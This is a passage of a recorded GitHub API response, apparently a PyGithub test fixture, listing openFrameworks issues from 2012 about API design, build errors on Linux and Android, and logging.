calls.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984","comments":5,"milestone":null,"number":984,"html_url":"https://github.com/openframeworks/openFrameworks/issues/984","assignee":null,"title":"Replace printf() occurences by ofLog() in the core addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-25T19:36:51Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386889,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-27T13:35:34Z","body":"`ofVec2f` has a function called `average` which takes an array of `ofVec2f` and calculates the centroid. it is not static, rather it overwrites its own `x` and `y` with the average. \r\n\r\nthis is a little weird. `average` should be static, or at least be *returning* the average rather than assigning to self.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976","comments":4,"milestone":null,"number":976,"html_url":"https://github.com/openframeworks/openFrameworks/issues/976","assignee":null,"title":"ofVec2f::average has unexpected/clumsy behaviour","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-25T03:45:02Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3382990,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T02:47:26Z","body":"Dummy issue to ensure that the 0076 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/972","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/10","number":10,"title":"0076 Release","due_on":"2012-10-29T07:00:00Z","closed_issues":0,"open_issues":1,"created_at":"2012-02-25T02:46:26Z","state":"open","description":"","id":88838},"number":972,"html_url":"https://github.com/openframeworks/openFrameworks/issues/972","assignee":null,"title":"0076 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:26Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382766,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T02:47:37Z","body":"Dummy issue to ensure that the 0075 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/971","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/9","number":9,"title":"0075 Release","due_on":"2012-09-24T07:00:00Z","closed_issues":0,"open_issues":1,"created_at":"2012-02-25T02:46:15Z","state":"open","description":"","id":88837},"number":971,"html_url":"https://github.com/openframeworks/openFrameworks/issues/971","assignee":null,"title":"0075 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:05Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382764,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=5 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4939'), ('content-length', '39838'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('Link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a7bfe812cbaa85fbb708d70f4d883fac"'), ('date', 'Tue, 29 May 2012 19:27:13 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-25T01:36:58Z","body":"Dummy issue to ensure that the 0080 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/970","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"closed_issues":0,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":970,"html_url":"https://github.com/openframeworks/openFrameworks/issues/970","assignee":null,"title":"0080 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T01:36:54Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3381982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:36:37Z","body":"Dummy issue to ensure that the 0074 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/969","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/7","number":7,"closed_issues":0,"title":"0074 Release","due_on":"2012-08-27T07:00:00Z","open_issues":1,"created_at":"2012-02-25T00:41:17Z","state":"open","description":"","id":88728},"number":969,"html_url":"https://github.com/openframeworks/openFrameworks/issues/969","assignee":null,"title":"0074 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T01:36:37Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3381977,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-24T04:31:01Z","body":"right now if you try and scale/rotate/etc before calling ofBackgroundGradient, it will fail.\r\n\r\npeople generally call ofBackground at the top of draw() so it shouldn't be a huge issue... but it does make it a little 'fragile'.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955","comments":0,"milestone":null,"number":955,"html_url":"https://github.com/openframeworks/openFrameworks/issues/955","assignee":null,"title":"ofBackgroundGradient needs to be billboarded","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-24T04:31:01Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3367910,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T19:12:08Z","body":"Hello, I get a weird error trying to compile the movieplayerexample under linux64 :\r\n\r\n> `.text._ZN11ofBaseVideoD2Ev' referenced in section `.text._ZN11ofBaseVideoD1Ev[non-virtual thunk to ofBaseVideo::~ofBaseVideo()]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o): defined in discarded section `.text._ZN11ofBaseVideoD2Ev[_ZN11ofBaseVideoD5Ev]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o)\r\n\r\nMy version of OF is 007, it used to work under 0062...\r\n\r\nWhat should I do ?\r\n\r\nThanks","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933","comments":4,"milestone":null,"number":933,"html_url":"https://github.com/openframeworks/openFrameworks/issues/933","assignee":null,"title":"Problem with moviePlayerExample under linux64","labels":[],"closed_at":null,"created_at":"2012-02-23T15:46:06Z","state":"open","user":{"url":"https://api.github.com/users/agrosjea","avatar_url":"https://secure.gravatar.com/avatar/e52c167621119d58d03c586bb053a633?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e52c167621119d58d03c586bb053a633","login":"agrosjea","id":1466085},"id":3357855,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T05:13:24Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931","comments":0,"milestone":null,"number":931,"html_url":"https://github.com/openframeworks/openFrameworks/issues/931","assignee":null,"title":"ofCamera is not aware of ofOrientation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-23T05:13:24Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3351646,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T05:12:47Z","body":"do we need the ofOrientation parameter in ofSetupPerspective?\r\n\r\nit applies the rotation but if ofSetOrientation hasn't been called before passing the same orientation the results are not the expected.\r\n\r\nto test it:\r\n\r\nofSetOrientation(OF_ORIENTATION_90_LEFT);\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\nworks as expected but calling only \r\n\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\napplies a weird rotation cause the values of ofGetWidth(), ofGetHeight() are still the default ones\r\n\r\nis there any case where it's useful to call setupPerspective with a different orientation that the window has?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930","comments":0,"milestone":null,"number":930,"html_url":"https://github.com/openframeworks/openFrameworks/issues/930","assignee":null,"title":"ofSetupPerspective ofOrientation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-23T05:12:47Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3351643,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T04:19:48Z","body":"Currently ofGetLogLevel returns the global log level aka for the \"OF\" module. It would be nice to be able to get the log level for user modules via:\r\n\r\n ofLogLevel level = ofGetLogLevel(\"myLogModule\");\r\n\r\nIt would as simple as adding the module as a string variable with a default of \"OF\".\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929","comments":0,"milestone":null,"number":929,"html_url":"https://github.com/openframeworks/openFrameworks/issues/929","assignee":null,"title":"ofGetLogLevel should also accept modules","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-23T04:19:48Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3351374,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T03:46:32Z","body":"Currently there is a ofBgColorPtr(), but maybe it's nice to have a ofGetBackground() that returns an ofColor object or a reference to one.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928","comments":0,"milestone":null,"number":928,"html_url":"https://github.com/openframeworks/openFrameworks/issues/928","assignee":null,"title":"no ofGetBackground()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-23T03:46:32Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3351170,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-22T19:12:56Z","body":"ofGetViewportWidth/Height returns 0 is called in an object destructor, while ofGetWidth/Height do not. Could the ofGetViewport size be set to the ofGetWidth/Height size instead of 0 be default?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926","comments":0,"milestone":null,"number":926,"html_url":"https://github.com/openframeworks/openFrameworks/issues/926","assignee":null,"title":"ofGetViewportWidth/Height returns 0 at startup","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-22T19:12:56Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3341020,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-22T00:28:08Z","body":"I noticed a few things when working with ofImage:\r\n\r\n* ofImage has a type variable for the image type but this is an int, as opposed to the ofImageType enum, so it's annoying to force convert ...\r\n* the width, height, & bpp variables are public, they should be protected with getters/setters\r\n* there isn't a getBytesPerPixel, you have to get the pixel reference then call getBytesPerPixel ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925","comments":0,"milestone":null,"number":925,"html_url":"https://github.com/openframeworks/openFrameworks/issues/925","assignee":null,"title":"ofImage has type as int, public vars, & missing getBPP, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-22T00:28:08Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3324501,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:41:17Z","body":"As requested in https://github.com/openframeworks/openFrameworks/pull/794 I've branched openframeworks:develop into my own branch and applied the fixes required to build openFrameworks for Android with MinGW on the windows platform.\r\n\r\nThe instructions on how to compile are still valid (except for the part of patching):\r\nhttp://www.multigesture.net/articles/how-to-setup-openframeworks-for-android-on-windows/\r\n\r\nNote 1: You will need to run:\r\nandroid.bat update project --target android-8 --path C:\\openFrameworks\\addons\\ofxAndroid\\ofAndroidLib\r\n\r\nThis updates the project files for ofAndroidLib project. I didn't included those because those are user specific (they contain the path to the sdk)\r\n\r\nNote 2: d3ddf8e1 \r\nI only added this commit in order to make the examples build properly. Someone still needs to fix the proper implementation.\r\n\r\nNote 3: 7a9cf0ba\r\nWhile working on NodeBeat, we found out that not all devices are using /mnt/sdcard as their external storage location. In some cases the sdcard is located somewhere else (\"Environment.getExternalStorageDirectory()\" doesnt always return the correct location). This commit fixes this problem by checking several locations as reported on multiple Stackoverflow threads. More info about this issue can be found in the commit description.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/922","comments":13,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":922,"html_url":"https://github.com/openframeworks/openFrameworks/issues/922","assignee":null,"title":"Windows compatibility patches and External storage location fixes.","labels":[],"closed_at":null,"created_at":"2012-02-19T23:30:24Z","state":"open","user":{"url":"https://api.github.com/users/falcon4ever","avatar_url":"https://secure.gravatar.com/avatar/4a503abeaa3d803e55e99093fbf1505d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4a503abeaa3d803e55e99093fbf1505d","login":"falcon4ever","id":480019},"id":3288053,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/922.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/922","patch_url":"https://github.com/openframeworks/openFrameworks/pull/922.patch"}},{"updated_at":"2012-02-16T09:39:46Z","body":"What about having our own transform stack , in order to:\r\n-avoid to recompute globalTransformMatrix in each ofNode\r\n-could use it when rendering with OpenGL ES 2.0 shaders , which do not support predefined matrix values as world (modelview), worldProjection , or world inverseTranspose (for normals)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920","comments":0,"milestone":null,"number":920,"html_url":"https://github.com/openframeworks/openFrameworks/issues/920","assignee":null,"title":"Transform stack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-16T09:39:46Z","state":"open","user":{"url":"https://api.github.com/users/AugusteBonnin","avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","login":"AugusteBonnin","id":1442658},"id":3248309,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-16T09:31:24Z","body":"There is an easy-to-correct error in ofNode::transformGL:\r\nIt should call loadMatrix with globalTransformMatrix as parameter (with a void restoreGL), or pushMatrix then multMatrix with localTransformMatrix (with a restoreGL that pops the previously pushed matrix),\r\nNOT push then mult with global. The bug appears as soon as you have got more than one level of depth in your node tree. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/919","comments":0,"milestone":null,"number":919,"html_url":"https://github.com/openframeworks/openFrameworks/issues/919","assignee":null,"title":"Error in ofNode::transformGL","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-16T09:31:24Z","state":"open","user":{"url":"https://api.github.com/users/AugusteBonnin","avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","login":"AugusteBonnin","id":1442658},"id":3248230,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-08T10:15:31Z","body":"vs2010 does not include stdint.h support:\r\n\r\nhttp://stackoverflow.com/questions/126279/c99-stdint-h-header-and-ms-visual-studio\r\n\r\nwhich causes addon bugs like this:\r\n\r\nhttps://github.com/openframeworks/openFrameworks/issues/559\r\nhttps://github.com/kylemcdonald/ofxCv/issues/28\r\n\r\neven though these bugs aren't in the core, i think OF is designed to make it easy for people to write cross-platform, cross-compiler code. so i propose that we add an explicit declaration of the missing types for vs2010.\r\n\r\nthis isn't really something i'm worried about directly since i don't use vs2010, but i know people like elliot do. and it would be cleaner to add it once to the core than to add it once for every addon that is broken.\r\n\r\nthe solution would probably look like: take dan's code from the above issue, and move it from ofxOsc into the core.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/917","comments":5,"milestone":null,"number":917,"html_url":"https://github.com/openframeworks/openFrameworks/issues/917","assignee":null,"title":"add global stdint.h support?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":null,"created_at":"2012-02-15T02:38:17Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3229504,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T14:55:20Z","body":"to match ofGetWidth(), ofGetHeight()\r\n\r\ni.e. for ofGetMouseX() / ofGetWidth()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/916","comments":1,"milestone":null,"number":916,"html_url":"https://github.com/openframeworks/openFrameworks/issues/916","assignee":null,"title":"ofGetMouseX() and ofGetMouseY() should return float","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-14T05:17:47Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3214174,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-13T08:16:08Z","body":"I had downloaded the 007 version, when I run of_preRelease_v007_linux/scripts/linux/debian/install_codeblocks.sh it install codeblocks without error, but when I run preRelease_v007_linux/scripts/linux/debian/install_dependencies.sh I get this error\r\n\r\ncompiling object for ../../../openFrameworks/graphics/ofGraphics.cpp\r\nmkdir -p obj/Debug/openFrameworks/graphics\r\ng++ -g3 -Wall -fexceptions -I../../../FreeImage/include -I../../../assimp/include -I../../../assimp/include/Compiler -I../../../cairo/include -I../../../cairo/include/cairo -I../../../cairo/include/pixman-1 -I../../../cairo/include/libpng15 -I../../../fmodex/include -I../../../freetype/include -I../../../freetype/include/freetype2 -I../../../freetype/include/freetype2/freetype -I../../../freetype/include/freetype2/freetype/config -I../../../freetype/include/freetype2/freetype/internal -I../../../freetype/include/freetype2/freetype/internal/services -I../../../glew/include -I../../../glew/include/GL -I../../../kiss/include -I../../../portaudio/include -I../../../rtAudio/include -I../../../tess2/include -I../../../poco/include -I../../../glu/include -I../../../openFrameworks/ -I../../../openFrameworks/3d -I../../../openFrameworks/math -I../../../openFrameworks/types -I../../../openFrameworks/graphics -I../../../openFrameworks/utils -I../../../openFrameworks/app -I../../../openFrameworks/video -I../../../openFrameworks/events -I../../../openFrameworks/communication -I../../../openFrameworks/gl -I../../../openFrameworks/sound -pthread -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/gio-unix-2.0/ -I/usr/include/pixman-1 -I/usr/include/freetype2 -I/usr/include/libpng12 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -DOF_USING_GTK -MMD -MP -MFobj/Debug/openFrameworks/graphics/ofGraphics.d -MTobj/Debug/openFrameworks/graphics/ofGraphics.d -o obj/Debug/openFrameworks/graphics/ofGraphics.o -c ../../../openFrameworks/graphics/ofGraphics.cpp\r\n../../../openFrameworks/graphics/ofGraphics.cpp:37:22: warning: GL/glut.h: No such file or directory\r\n../../../openFrameworks/graphics/ofGraphics.cpp: In function ‘void ofSphere(float)’:\r\n../../../openFrameworks/graphics/ofGraphics.cpp:889: error: ‘glutSolidSphere’ was not declared in this scope\r\n../../../openFrameworks/graphics/ofGraphics.cpp:891: error: ‘glutWireSphere’ was not declared in this scope\r\nmake: *** [obj/Debug/openFrameworks/graphics/ofGraphics.o] Error 1\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/915","comments":2,"milestone":null,"number":915,"html_url":"https://github.com/openframeworks/openFrameworks/issues/915","assignee":null,"title":"problems installing dependencies in debian 6.0.4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2012-02-13T05:45:01Z","state":"open","user":{"url":"https://api.github.com/users/atomsfat","avatar_url":"https://secure.gravatar.com/avatar/f732e5a8b77f8e4ed8fadc2c71916236?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"f732e5a8b77f8e4ed8fadc2c71916236","login":"atomsfat","id":140008},"id":3196145,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-12T04:41:26Z","body":"We have ofSetDataPathRoot() .... it makes sense to have a Getter as well. Basically I wanted the absolute path to the root data folder.\r\n\r\nI managed to fake this by calling ofToDataPath(\".\",true) but this seems a little counter-intuitive.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/914","comments":0,"milestone":null,"number":914,"html_url":"https://github.com/openframeworks/openFrameworks/issues/914","assignee":null,"title":"Add 